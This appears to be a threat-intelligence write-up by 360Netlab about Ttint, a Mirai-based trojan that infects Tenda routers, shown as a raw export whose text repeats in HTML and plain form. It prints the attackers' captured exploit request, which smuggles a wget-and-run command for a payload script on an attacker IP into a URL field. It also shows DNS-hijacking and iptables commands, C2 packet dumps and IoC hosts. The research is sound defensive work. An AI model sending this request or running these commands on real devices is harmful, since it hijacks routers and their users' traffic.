.m68k\nhttp://2.57.122.167:5858/webos/whoareyou.mips\nhttp://2.57.122.167:5858/webos/whoareyou.mpsl\nhttp://2.57.122.167:5858/webos/whoareyou.ppc\nhttp://2.57.122.167:5858/webos/whoareyou.sh4\nhttp://2.57.122.167:5858/webos/whoareyou.spc\nhttp://2.57.122.167:5858/webos/whoareyou.x86\n```\n\nIP\n```\n2.57.122.167 \tRomania \tASN48090 \tPptechnology Limited\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f65877a7646030007b28d8f |
post | null | 2020-09-23T06:15:04.000Z | 63873b9a8b1c1e0007f52f85 | ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities | 0 | 2022-02-09T07:07:32.000Z | public | published | null | 2020-10-01T14:00:00.000Z | Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities | <!--kg-card-begin: markdown--><p><em>Author: <a href="https://twitter.com/IUnKnow84503351">Lingming Tu</a>, <a href="https://twitter.com/_O_owl">Yanlong Ma</a>, <a href="https://twitter.com/zom3y3">Genshen Ye</a></em></p>
<h3 id="backgroundintroduction">Background introduction</h3>
<p>Starting from November 2019, 360Netlab Anglerfish system have successively monitored attacker using two Tenda router 0-day vulnerabilities to spread a Remote Access Trojan (RAT) based on Mirai code.</p>
<p>The conventional Mirai variants normally focus on DDoS, but this variant is different. In addition to DDoS attacks, it implements 12 remote access functions such as Socket5 proxy for router devices, tampering with router DNS, setting iptables, executing custom system commands.</p>
<p>In addition, at the C2 communication level, it uses the WSS (WebSocket over TLS) protocol. Doing this can circumvent the typical Mirai traffic detection at the traffic level, and it also provides secure encrypted communication for C2.</p>
<p>About the infrastructure, the attacker first used a Google cloud service IP, and then switched to a hosting provider in Hong Kong. When we looked up the website certificate, sample, domain name and IP in our DNSmon system Later, we were able to see more infrastructure IPs, samples, and more C2 domain names.</p>
<p>Two zero days, 12 remote access functions for the router, encrypted traffic protocol, and infrastructure IP that that moves around. This botnet does not seem to be a very typical player.</p>
<p>We named this botnet Ttint.</p>
<h3 id="0dayvulnerabilityattack">0-day vulnerability attack</h3>
<p>On November 9, 2019, we detected that the attacker used the first Tenda router 0-day vulnerability (CVE-2018-14558 & CVE-2020-10987) to spread Ttint samples. It is worth noting that this vulnerability was not disclosed until July 10, 2020[<a href="https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68">1]</a>.</p>
<pre><code>GET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Brm%20get.sh%3Bwget%20http%3A//34.92.139.186%3A5001/bot/get.sh%3Bchmod%20777%20get.sh%3B./get.sh HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
</code></pre>
<p>On August 21, 2020, we saw the second Tenda router 0-day vulnerability being used to spread Ttint samples.</p>
<p>On August 28, 2020, we reported the details of the second 0-day vulnerability and the PoC to the router manufacturer Tenda via email, but the manufacturer has not yet responded.</p>
<h3 id="0dayvulnerabilityscope">0-day vulnerability scope</h3>
<p>We have found the following Tenda router firmwares were affected via the 360 FirmwareTotal system.</p>
<pre><code>US_AC9V1.0BR_V15.03.05.14_multi_TD01
US_AC9V1.0BR_V15.03.05.16_multi_TRU01
US_AC9V1.0BR_V15.03.2.10_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TDE01
US_AC9V3.0RTL_V15.03.06.42_multi_TD01
US_AC10UV1.0RTL_V15.03.06.48_multi_TDE01
US_AC15V1.0BR_V15.03.05.18_multi_TD01
US_AC15V1.0BR_V15.03.05.19_multi_TD01
US_AC15V1.0BR_V15.03.1.8_EN_TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS
US_AC15V1.0BR_V15.03.1.12_multi_TD01
US_AC15V1.0BR_V15.03.1.16_multi_TD01
US_AC15V1.0BR_V15.03.1.17_multi_TD01
US_AC18V1.0BR_V15.03.05.05_multi_TD01
US_AC18V1.0BR_V15.03.3.6_multi_TD01
US_AC18V1.0BR_V15.03.3.10_multi_TD01
ac9_kf_V15.03.05.19(6318_)_cn
ac18_kf_V15.03.05.19(6318_)_cn
</code></pre>
<p>We also looked up in the 360 Quake cyberspace surveying and mapping system, and the following is a result.<br>
<a href="__GHOST_URL__/content/images/2020/09/stats1.png"><img src="__GHOST_URL__/content/images/2020/09/stats1.png" class="kg-image"/></a></p>
<h3 id="ttintoverview">Ttint overview</h3>
<p>Ttint is a remote access Trojan based on Mirai code for router devices. In addition to multiplexing 10 Mirai DDoS attack instructions, it also implements 12 control instructions.</p>
<p>We analyzed and compared Ttint samples in the two periods and found that their C2 instructions were exactly the same, but they had some differences in the 0-day vulnerability, XOR Key, and C2 protocol used.<br>
<a href="__GHOST_URL__/content/images/2020/09/ttint_version.png"><img src="__GHOST_URL__/content/images/2020/09/ttint_version.png" class="kg-image"/></a></p>
<h3 id="reverseanalysis">Reverse analysis</h3>
<p>Generally speaking, at the host level, Ttint's behavior is relatively simple. When running, it deletes its own files, manipulates the watchdog, and prevents the device from restarting, it runs as a single instance by binding the port; then modifies the process name to confuse the user; it finally establishes a connection with the decrypted C2 , Reporting device information, waiting for C2 to issue instructions, and execute corresponding attacks or custom functions.</p>
<p>We can see that it retains a large number of mirai features, such as single instance, random process name, sensitive configuration information encryption, integration of a large number of attack vectors, etc.;</p>
<p>There are changes though, most notable, it rewrites the network communication part to use websocket protocol .</p>
<p>Let’s take a look at some of the custom functions.<br>
<a href="__GHOST_URL__/content/images/2020/11/ttint_enfinalvector.jpg"><img src="__GHOST_URL__/content/images/2020/11/ttint_enfinalvector.jpg" class="kg-image"/></a></p>
<h4 id="ttintv2sampleanalysis">Ttint v2 sample analysis</h4>
<p>MD5:73ffd45ab46415b41831faee138f306e<br>
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped<br>
Lib:uclib</p>
<h4 id="socket5proxy">Socket5 proxy</h4>
<p>By binding the specific port issued by C2 to enable Socket5 proxy service. The attacker can remotely access the router's intranet, doing intranet roaming.<br>
<a href="__GHOST_URL__/content/images/2020/09/wschat_proxy.PNG"><img src="__GHOST_URL__/content/images/2020/09/wschat_proxy.PNG" class="kg-image"/></a></p>
<h4 id="tamperingwithrouterdns">Tampering with router DNS</h4>
<p>Tamper the router DNS by modifying the resolv.conf file,</p>
<pre><code>echo nameserver "DNS server" > /etc/etc/resolv.conf
</code></pre>
<p>The result of this is that the author of Ttint can hijack any network access of users under the affected routing device to possibly monitor or steal sensitive information.</p>
<h4 id="configiptables">Config iptables</h4>
<p>By setting iptables up, traffic forwarding and target address conversion can be easily achieved. .The following config is to expose the internal network services to the public network.</p>
<pre><code>iptables -t nat -A PREROUTING -d "" -p tcp --dport "" -j DNAT --to-destination ""
iptables -t nat -A POSTROUTING -d "" -p tcp --dport "" -j SNAT ""
iptables -A FORWARD -d -j ACCEPT
</code></pre>
<h4 id="reverseshell">Reverse shell</h4>
<p>By implementing a reverse shell through socket, the author of Ttint can operate the shell of the affected routing device as a local shell.<br>
<a href="__GHOST_URL__/content/images/2020/09/wschat_revshell.PNG"><img src="__GHOST_URL__/content/images/2020/09/wschat_revshell.PNG" class="kg-image"/></a></p>
<h4 id="selfupgrade">Self-upgrade</h4>
<p>The bot can download corresponding CPU architecture from the specified Download URL (default is <code>uhyg8v.notepod2.com:5001</code>) to update itself.<br>
<a href="__GHOST_URL__/content/images/2020/09/wschat_update.PNG"><img src="__GHOST_URL__/content/images/2020/09/wschat_update.PNG" class="kg-image"/></a></p>
<h4 id="selfexit">Self-exit</h4>
<p>Ttint implements a single instance by binding port 57322, by killing the process using this port, it can exit itself.<br>
<a href="__GHOST_URL__/content/images/2020/09/wschat_kill.PNG"><img src="__GHOST_URL__/content/images/2020/09/wschat_kill.PNG" class="kg-image"/></a></p>
<h4 id="hiddennetworkchannel">Hidden network channel</h4>
<p>By using the nc tool to monitor a specific port issued by C2, communication between the Ttint author and the affected routing device can be established. (The meaning of the -d parameter is "Detach from stdin", so we speculate that there is a redirection instruction after PORT)</p>
<pre><code>nc -d -l "PORT" "some redirect cmd"
</code></pre>
<h4 id="reportdeviceinformation">Report device information</h4>
<p>Report the time, os, cpu, ip, version, and mac information of the device to C2, but there is a bug in the format string in the sample, and an "&" character is missing in the <code>type=back_infoatk_id=%s&time=&os=</code></p>
<h4 id="executesystemcommands">Execute system commands</h4>
<p>Execute custom system commands issued by C2 through popen function<br>
<a href="__GHOST_URL__/content/images/2020/09/wschat_runcmd.PNG"><img src="__GHOST_URL__/content/images/2020/09/wschat_runcmd.PNG" class="kg-image"/></a></p>
<h3 id="c2protocolanalysis">C2 protocol analysis</h3>
<p>The C2 information of the Ttint Bot sample is encrypted and stored in the configuration information table in the Mirai format. The XOR Key is <code>0x0EDFCEBDA</code></p>
<pre><code>c2 ciphertxt:
51 19 55 56 56 45 59 50 49 62 0E 4E 4F 54 45 50 4F 44 12 0E 43 4F 4D 20
c2 plaintxt:
q9uvveypiB.notepod2.com
</code></pre>
<p>When the bot is running, it decrypts to obtain the C2 address <code>ws:q9uvveypiB.notepod2.com:443</code>, and then communicates with C2 securely through the WebSocket over TLS protocol.<br>
<a href="__GHOST_URL__/content/images/2020/08/wschat_socket.PNG"><img src="__GHOST_URL__/content/images/2020/08/wschat_socket.PNG" class="kg-image"/></a></p>
<h6 id="websocketprotocol">WebSocket protocol</h6>
<p>When Ttint C2 replies to the Bot with a response code of 101, it means that the protocol handshake is completed, and then the Bot can communicate using the WebSocket protocol. The following is an example of a WebSocket packet after TLS decryption.<br>
<a href="__GHOST_URL__/content/images/2020/09/websocket.png"><img src="__GHOST_URL__/content/images/2020/09/websocket.png" class="kg-image"/></a></p>
<h6 id="botsgolivepacket">Bot's “go live” packet</h6>
<p>According to the WebSocket protocol, we know that the payload length is 0x81, the mask is 0xD5F39E67, and the payload data address is 0x08~0x88.</p>
<pre><code>00000000: 81 FE 00 81 D5 F3 9E 67 A1 8A EE 02 E8 91 FF 04 .......g........
00000010: BE AC F7 09 B3 9C B8 06 A1 98 C1 0E B1 CE AE 41 ...............A
00000020: A1 9A F3 02 E8 D5 F1 14 E8 BF F7 09 A0 8B BE 53 ...............S
00000030: FB C2 AB 49 E5 DE AA 55 F8 94 FB 09 B0 81 F7 04 ...I...U........
00000040: F3 90 EE 12 E8 9A A8 5F E3 D5 F7 17 E8 C2 A7 55 ......._.......U
00000050: FB C2 A8 5F FB C1 AC 55 FB C2 AC 5F F3 85 FB 15 ..._...U..._....
00000060: A6 9A F1 09 E8 C6 FD 02 E5 91 A9 04 E7 D5 FF 15 ................
00000070: B2 80 A3 41 B8 92 FD 5A E5 C3 A4 57 B6 C9 AC 5E ...A...Z...W...^
00000080: EF C4 F8 5D E7 C7 A4 5E E7
</code></pre>
<p>Perform XOR calculation on Payload Data with mask, and get the payload in plain text, which is exactly the Bot's “go live” packet.</p>
<pre><code>00000000 74 79 70 65 3d 62 61 63 6b 5f 69 6e 66 6f 26 61 |type=back_info&a|
00000010 74 6b 5f 69 64 3d 30 26 74 69 6d 65 3d 26 6f 73 |tk_id=0&time=&os|
00000020 3d 4c 69 6e 75 78 20 34 2e 31 35 2e 30 2d 34 32 |=Linux 4.15.0-42|
00000030 2d 67 65 6e 65 72 69 63 26 63 70 75 3d 69 36 38 |-generic&cpu=i68|
00000040 36 26 69 70 3d 31 39 32 2e 31 36 38 2e 32 32 32 |6&ip=192.168.222|
00000050 2e 31 32 38 26 76 65 72 73 69 6f 6e 3d 35 63 65 |.128&version=5ce|
00000060 30 62 37 63 32 26 61 72 67 73 3d 26 6d 61 63 3d |0b7c2&args=&mac=|
00000070 30 30 3a 30 63 3a 32 39 3a 37 66 3a 32 34 3a 39 |00:0c:29:7f:24:9|
00000080 32
</code></pre>
<h6 id="c2instruction">C2 instruction</h6>
<p>All together, Ttint Bot supports 22 kinds of C2 commands, the 10 DDoS commands are from Mirai , and the rest 12 are new.</p>
<table>
<thead>
<tr>
<th>id</th>
<th>instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>attack_udp_generic</td>
</tr>
<tr>
<td>1</td>
<td>attack_udp_vse</td>
</tr>
<tr>
<td>2</td>
<td>attack_udp_dns</td>
</tr>
<tr>
<td>9</td>
<td>attack_udp_plain</td>
</tr>
<tr>
<td>3</td>
<td>attack_tcp_flag</td>
</tr>
<tr>
<td>4</td>
<td>attack_tcp_pack</td>
</tr>
<tr>
<td>5</td>
<td>attack_tcp_xmas</td>
</tr>
<tr>
<td>6</td>
<td>attack_grep_ip</td>
</tr>
<tr>
<td>7</td>
<td>attack_grep_eth</td>
</tr>
<tr>
<td>10</td>
<td>attack_app_http</td>
</tr>
<tr>
<td>12</td>
<td>run "nc" command</td>
</tr>
<tr>
<td>13</td>
<td>run "ls" command</td>
</tr>
<tr>
<td>15</td>
<td>Execute system commands</td>
</tr>
<tr>
<td>16</td>
<td>Tampering with router DNS</td>
</tr>
<tr>
<td>18</td>
<td>Report device information</td>
</tr>
<tr>
<td>14</td>
<td>Config iptables</td>
</tr>
<tr>
<td>11</td>
<td>run "ifconfig" command</td>
</tr>
<tr>
<td>17</td>
<td>Self-exit</td>
</tr>
<tr>
<td>19</td>
<td>Open Socks5 proxy</td>
</tr>
<tr>
<td>20</td>
<td>Close Socks5 proxy</td>
</tr>
<tr>
<td>21</td>
<td>Self-upgrade</td>
</tr>
<tr>
<td>22</td>
<td>Reverse shell</td>
</tr>
</tbody>
</table>
<h6 id="c2commandformatanalysis">C2 command format analysis</h6>
<p>We captured the following commands the C2 sent to the bots.</p>
<pre><code>00000000: 00 55 00 00 00 0A 0F 01 00 00 00 00 20 02 1A 13 .U.......... ...
00000010: 70 70 2D 6C 4F 76 32 78 39 6E 31 33 58 73 5A 30 pp-lOv2x9n13XsZ0
00000020: 77 76 44 1B 30 69 70 74 61 62 6C 65 73 20 2D 44 wvD.0iptables -D
00000030: 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 2D 2D INPUT -p tcp --
00000040: 64 70 6F 72 74 20 35 32 36 38 35 20 2D 6A 20 41 dport 52685 -j A
00000050: 43 43 45 50 54 CCEPT
</code></pre>
<p>The following is a breakdown for the format</p>
<pre><code>00 55 ---- msg length
0F ---- cmd id, here is "run system cmd"
02 ---- option number
1A ---- option type, here is "attack id"
13 ---- option length, length of "pp-lOv2x9n13XsZ0wvD" = 0x13
1B ---- option type, here is "attack cmd buf"
30 ---- option length
</code></pre>
<p>Generally speaking, Ttint will combine multiple custom functions to achieve specific attack goals.</p>
<p>Take the two adjacent commands we captured, the first command is<br>
<code>iptables -I INPUT -p tcp --dport 51599 -j ACCEPT</code>, to allow access to port 51599 of the affected device.</p>
<pre><code>00000000: 82 55 00 55 00 00 00 0A 0F 01 00 00 00 00 20 02 .U.U.......... .
00000010: 1A 13 70 70 2D 51 77 76 73 59 59 45 45 4D 70 36 ..pp-QwvsYYEEMp6
00000020: 77 49 31 62 43 1B 30 69 70 74 61 62 6C 65 73 20 wI1bC.0iptables
00000030: 2D 49 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 -I INPUT -p tcp
00000040: 2D 2D 64 70 6F 72 74 20 35 31 35 39 39 20 2D 6A --dport 51599 -j
00000050: 20 41 43 43 45 50 54 ACCEPT
</code></pre>
<p>The next command is to enable the Socket5 proxy function on port 51599 of the affected device.</p>
<pre><code>00000000: 82 3C 00 3C 00 00 00 0A 13 01 00 00 00 00 20 04 .<.<.......... .
00000010: 1C 05 35 31 35 39 39 1D 06 61 6D 68 78 65 66 1E ..51599..amhxef.
00000020: 08 64 40 61 59 79 31 39 52 1A 13 70 70 2D 30 58 [email protected]
00000030: 74 79 73 61 33 79 58 4D 51 59 6E 6C 41 72 tysa3yXMQYnlAr
</code></pre>
<p>The combination of the two commands enabled and allowed the attacker to use the Socket5 proxy.</p>
<h3 id="recommendations">Recommendations</h3>
<p>We recommend that Tenda router users check their firmware and make necessary update.</p>
<p>We also recommend that our readers monitor and block related IoCs.</p>
<h3 id="contactus">Contact us</h3>
<p>Interested readers can contact us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> or via email <strong>netlab[at]360.cn</strong> .</p>
<h3 id="ioc">IoC</h3>
<p>IP:</p>
<pre><code>34.92.85.21 Hong Kong ASN15169 GOOGLE
34.92.139.186 Hong Kong ASN15169 GOOGLE
43.249.29.56 Hong Kong ASN133115 HK Kwaifong Group Limited
45.249.92.60 Hong Kong ASN133115 HK Kwaifong Group Limited
45.249.92.72 Hong Kong ASN133115 HK Kwaifong Group Limited
103.60.220.48 Hong Kong ASN133115 HK Kwaifong Group Limited
103.108.142.92 Hong Kong ASN133115 HK Kwaifong Group Limited
103.243.183.248 Hong Kong ASN133115 HK Kwaifong Group Limited
</code></pre>
<p>C2:</p>
<pre><code>cnc.notepod2.com:23231
back.notepod2.com:80
q9uvveypiB.notepod2.com:443
</code></pre>
<p>Update Server:</p>
<pre><code>uhyg8v.notepod2.com:5001
</code></pre>
<p>URL:</p>
<pre><code>http://45.112.205.60/td.sh
http://45.112.205.60/ttint.i686
http://45.112.205.60/ttint.arm5el
http://45.112.205.60/ttint.mipsel
http://34.92.139.186:5001/bot/get.sh
http://34.92.139.186:5001/bot/ttint.mipsel
http://34.92.139.186:5001/bot/ttint.x86_64
</code></pre>
<p>MD5:</p>
<pre><code>3e6a16bcf7a9e9e0be25ae28551150f5
4ee942a0153ed74eb9a98f7ad321ec97
6bff8b6fd606e795385b84437d1e1e0a
733f71eb6cfca905e8904d0fb785fb43
a89cefdf71f2fced35fba8612ad07174
c5cb2b438ba6d809f1f71c776376d293
cfc0f745941ce1ec024cb86b1fd244f3
73ffd45ab46415b41831faee138f306e
</code></pre>
<!--kg-card-end: markdown--> | Author: Lingming Tu, Yanlong Ma, Genshen Ye
Background introduction
Starting from November 2019, 360Netlab Anglerfish system have successively monitored attacker using two Tenda router 0-day vulnerabilities to spread a Remote Access Trojan (RAT) based on Mirai code.
The conventional Mirai variants normally focus on DDoS, but this variant is different. In addition to DDoS attacks, it implements 12 remote access functions such as Socket5 proxy for router devices, tampering with router DNS, setting iptables, executing custom system commands.
In addition, at the C2 communication level, it uses the WSS (WebSocket over TLS) protocol. Doing this can circumvent the typical Mirai traffic detection at the traffic level, and it also provides secure encrypted communication for C2.
About the infrastructure, the attacker first used a Google cloud service IP, and then switched to a hosting provider in Hong Kong. When we looked up the website certificate, sample, domain name and IP in our DNSmon system Later, we were able to see more infrastructure IPs, samples, and more C2 domain names.
Two zero days, 12 remote access functions for the router, encrypted traffic protocol, and infrastructure IP that that moves around. This botnet does not seem to be a very typical player.
We named this botnet Ttint.
0-day vulnerability attack
On November 9, 2019, we detected that the attacker used the first Tenda router 0-day vulnerability (CVE-2018-14558 & CVE-2020-10987) to spread Ttint samples. It is worth noting that this vulnerability was not disclosed until July 10, 2020[1].
GET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Brm%20get.sh%3Bwget%20http%3A//34.92.139.186%3A5001/bot/get.sh%3Bchmod%20777%20get.sh%3B./get.sh HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
On August 21, 2020, we saw the second Tenda router 0-day vulnerability being used to spread Ttint samples.
On August 28, 2020, we reported the details of the second 0-day vulnerability and the PoC to the router manufacturer Tenda via email, but the manufacturer has not yet responded.
0-day vulnerability scope
We have found the following Tenda router firmwares were affected via the 360 FirmwareTotal system.
US_AC9V1.0BR_V15.03.05.14_multi_TD01
US_AC9V1.0BR_V15.03.05.16_multi_TRU01
US_AC9V1.0BR_V15.03.2.10_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TDE01
US_AC9V3.0RTL_V15.03.06.42_multi_TD01
US_AC10UV1.0RTL_V15.03.06.48_multi_TDE01
US_AC15V1.0BR_V15.03.05.18_multi_TD01
US_AC15V1.0BR_V15.03.05.19_multi_TD01
US_AC15V1.0BR_V15.03.1.8_EN_TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS
US_AC15V1.0BR_V15.03.1.12_multi_TD01
US_AC15V1.0BR_V15.03.1.16_multi_TD01
US_AC15V1.0BR_V15.03.1.17_multi_TD01
US_AC18V1.0BR_V15.03.05.05_multi_TD01
US_AC18V1.0BR_V15.03.3.6_multi_TD01
US_AC18V1.0BR_V15.03.3.10_multi_TD01
ac9_kf_V15.03.05.19(6318_)_cn
ac18_kf_V15.03.05.19(6318_)_cn
We also looked up in the 360 Quake cyberspace surveying and mapping system, and the following is a result.
Ttint overview
Ttint is a remote access Trojan based on Mirai code for router devices. In addition to multiplexing 10 Mirai DDoS attack instructions, it also implements 12 control instructions.
We analyzed and compared Ttint samples in the two periods and found that their C2 instructions were exactly the same, but they had some differences in the 0-day vulnerability, XOR Key, and C2 protocol used.
Reverse analysis
Generally speaking, at the host level, Ttint's behavior is relatively simple. When running, it deletes its own files, manipulates the watchdog, and prevents the device from restarting, it runs as a single instance by binding the port; then modifies the process name to confuse the user; it finally establishes a connection with the decrypted C2 , Reporting device information, waiting for C2 to issue instructions, and execute corresponding attacks or custom functions.
We can see that it retains a large number of mirai features, such as single instance, random process name, sensitive configuration information encryption, integration of a large number of attack vectors, etc.;
There are changes though, most notable, it rewrites the network communication part to use websocket protocol .
Let’s take a look at some of the custom functions.
Ttint v2 sample analysis
MD5:73ffd45ab46415b41831faee138f306e
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Lib:uclib
Socket5 proxy
By binding the specific port issued by C2 to enable Socket5 proxy service. The attacker can remotely access the router's intranet, doing intranet roaming.
Tampering with router DNS
Tamper the router DNS by modifying the resolv.conf file,
echo nameserver "DNS server" > /etc/etc/resolv.conf
The result of this is that the author of Ttint can hijack any network access of users under the affected routing device to possibly monitor or steal sensitive information.
Config iptables
By setting iptables up, traffic forwarding and target address conversion can be easily achieved. .The following config is to expose the internal network services to the public network.
iptables -t nat -A PREROUTING -d "" -p tcp --dport "" -j DNAT --to-destination ""
iptables -t nat -A POSTROUTING -d "" -p tcp --dport "" -j SNAT ""
iptables -A FORWARD -d -j ACCEPT
Reverse shell
By implementing a reverse shell through socket, the author of Ttint can operate the shell of the affected routing device as a local shell.
Self-upgrade
The bot can download corresponding CPU architecture from the specified Download URL (default is uhyg8v.notepod2.com:5001) to update itself.
Self-exit
Ttint implements a single instance by binding port 57322, by killing the process using this port, it can exit itself.
Hidden network channel
By using the nc tool to monitor a specific port issued by C2, communication between the Ttint author and the affected routing device can be established. (The meaning of the -d parameter is "Detach from stdin", so we speculate that there is a redirection instruction after PORT)
nc -d -l "PORT" "some redirect cmd"
Report device information
Report the time, os, cpu, ip, version, and mac information of the device to C2, but there is a bug in the format string in the sample, and an "&" character is missing in the type=back_infoatk_id=%s&time=&os=
Execute system commands
Execute custom system commands issued by C2 through popen function
C2 protocol analysis
The C2 information of the Ttint Bot sample is encrypted and stored in the configuration information table in the Mirai format. The XOR Key is 0x0EDFCEBDA
c2 ciphertxt:
51 19 55 56 56 45 59 50 49 62 0E 4E 4F 54 45 50 4F 44 12 0E 43 4F 4D 20
c2 plaintxt:
q9uvveypiB.notepod2.com
When the bot is running, it decrypts to obtain the C2 address ws:q9uvveypiB.notepod2.com:443, and then communicates with C2 securely through the WebSocket over TLS protocol.
WebSocket protocol
When Ttint C2 replies to the Bot with a response code of 101, it means that the protocol handshake is completed, and then the Bot can communicate using the WebSocket protocol. The following is an example of a WebSocket packet after TLS decryption.
Bot's “go live” packet
According to the WebSocket protocol, we know that the payload length is 0x81, the mask is 0xD5F39E67, and the payload data address is 0x08~0x88.
00000000: 81 FE 00 81 D5 F3 9E 67 A1 8A EE 02 E8 91 FF 04 .......g........
00000010: BE AC F7 09 B3 9C B8 06 A1 98 C1 0E B1 CE AE 41 ...............A
00000020: A1 9A F3 02 E8 D5 F1 14 E8 BF F7 09 A0 8B BE 53 ...............S
00000030: FB C2 AB 49 E5 DE AA 55 F8 94 FB 09 B0 81 F7 04 ...I...U........
00000040: F3 90 EE 12 E8 9A A8 5F E3 D5 F7 17 E8 C2 A7 55 ......._.......U
00000050: FB C2 A8 5F FB C1 AC 55 FB C2 AC 5F F3 85 FB 15 ..._...U..._....
00000060: A6 9A F1 09 E8 C6 FD 02 E5 91 A9 04 E7 D5 FF 15 ................
00000070: B2 80 A3 41 B8 92 FD 5A E5 C3 A4 57 B6 C9 AC 5E ...A...Z...W...^
00000080: EF C4 F8 5D E7 C7 A4 5E E7
Perform XOR calculation on Payload Data with mask, and get the payload in plain text, which is exactly the Bot's “go live” packet.
00000000 74 79 70 65 3d 62 61 63 6b 5f 69 6e 66 6f 26 61 |type=back_info&a|
00000010 74 6b 5f 69 64 3d 30 26 74 69 6d 65 3d 26 6f 73 |tk_id=0&time=&os|
00000020 3d 4c 69 6e 75 78 20 34 2e 31 35 2e 30 2d 34 32 |=Linux 4.15.0-42|
00000030 2d 67 65 6e 65 72 69 63 26 63 70 75 3d 69 36 38 |-generic&cpu=i68|
00000040 36 26 69 70 3d 31 39 32 2e 31 36 38 2e 32 32 32 |6&ip=192.168.222|
00000050 2e 31 32 38 26 76 65 72 73 69 6f 6e 3d 35 63 65 |.128&version=5ce|
00000060 30 62 37 63 32 26 61 72 67 73 3d 26 6d 61 63 3d |0b7c2&args=&mac=|
00000070 30 30 3a 30 63 3a 32 39 3a 37 66 3a 32 34 3a 39 |00:0c:29:7f:24:9|
00000080 32
C2 instruction
All together, Ttint Bot supports 22 kinds of C2 commands, the 10 DDoS commands are from Mirai , and the rest 12 are new.
id
instruction
0
attack_udp_generic
1
attack_udp_vse
2
attack_udp_dns
9
attack_udp_plain
3
attack_tcp_flag
4
attack_tcp_pack
5
attack_tcp_xmas
6
attack_grep_ip
7
attack_grep_eth
10
attack_app_http
12
run "nc" command
13
run "ls" command
15
Execute system commands
16
Tampering with router DNS
18
Report device information
14
Config iptables
11
run "ifconfig" command
17
Self-exit
19
Open Socks5 proxy
20
Close Socks5 proxy
21
Self-upgrade
22
Reverse shell
C2 command format analysis
We captured the following commands the C2 sent to the bots.
00000000: 00 55 00 00 00 0A 0F 01 00 00 00 00 20 02 1A 13 .U.......... ...
00000010: 70 70 2D 6C 4F 76 32 78 39 6E 31 33 58 73 5A 30 pp-lOv2x9n13XsZ0
00000020: 77 76 44 1B 30 69 70 74 61 62 6C 65 73 20 2D 44 wvD.0iptables -D
00000030: 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 2D 2D INPUT -p tcp --
00000040: 64 70 6F 72 74 20 35 32 36 38 35 20 2D 6A 20 41 dport 52685 -j A
00000050: 43 43 45 50 54 CCEPT
The following is a breakdown for the format
00 55 ---- msg length
0F ---- cmd id, here is "run system cmd"
02 ---- option number
1A ---- option type, here is "attack id"
13 ---- option length, length of "pp-lOv2x9n13XsZ0wvD" = 0x13
1B ---- option type, here is "attack cmd buf"
30 ---- option length
Generally speaking, Ttint will combine multiple custom functions to achieve specific attack goals.
Take the two adjacent commands we captured, the first command is
iptables -I INPUT -p tcp --dport 51599 -j ACCEPT, to allow access to port 51599 of the affected device.
00000000: 82 55 00 55 00 00 00 0A 0F 01 00 00 00 00 20 02 .U.U.......... .
00000010: 1A 13 70 70 2D 51 77 76 73 59 59 45 45 4D 70 36 ..pp-QwvsYYEEMp6
00000020: 77 49 31 62 43 1B 30 69 70 74 61 62 6C 65 73 20 wI1bC.0iptables
00000030: 2D 49 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 -I INPUT -p tcp
00000040: 2D 2D 64 70 6F 72 74 20 35 31 35 39 39 20 2D 6A --dport 51599 -j
00000050: 20 41 43 43 45 50 54 ACCEPT
The next command is to enable the Socket5 proxy function on port 51599 of the affected device.
00000000: 82 3C 00 3C 00 00 00 0A 13 01 00 00 00 00 20 04 .<.<.......... .
00000010: 1C 05 35 31 35 39 39 1D 06 61 6D 68 78 65 66 1E ..51599..amhxef.
00000020: 08 64 40 61 59 79 31 39 52 1A 13 70 70 2D 30 58 [email protected]
00000030: 74 79 73 61 33 79 58 4D 51 59 6E 6C 41 72 tysa3yXMQYnlAr
The combination of the two commands enabled and allowed the attacker to use the Socket5 proxy.
Recommendations
We recommend that Tenda router users check their firmware and make necessary update.
We also recommend that our readers monitor and block related IoCs.
Contact us
Interested readers can contact us on twitter or via email netlab[at]360.cn .
IoC
IP:
34.92.85.21 Hong Kong ASN15169 GOOGLE
34.92.139.186 Hong Kong ASN15169 GOOGLE
43.249.29.56 Hong Kong ASN133115 HK Kwaifong Group Limited
45.249.92.60 Hong Kong ASN133115 HK Kwaifong Group Limited
45.249.92.72 Hong Kong ASN133115 HK Kwaifong Group Limited
103.60.220.48 Hong Kong ASN133115 HK Kwaifong Group Limited
103.108.142.92 Hong Kong ASN133115 HK Kwaifong Group Limited
103.243.183.248 Hong Kong ASN133115 HK Kwaifong Group Limited
C2:
cnc.notepod2.com:23231
back.notepod2.com:80
q9uvveypiB.notepod2.com:443
Update Server:
uhyg8v.notepod2.com:5001
URL:
http://45.112.205.60/td.sh
http://45.112.205.60/ttint.i686
http://45.112.205.60/ttint.arm5el
http://45.112.205.60/ttint.mipsel
http://34.92.139.186:5001/bot/get.sh
http://34.92.139.186:5001/bot/ttint.mipsel
http://34.92.139.186:5001/bot/ttint.x86_64
MD5:
3e6a16bcf7a9e9e0be25ae28551150f5
4ee942a0153ed74eb9a98f7ad321ec97
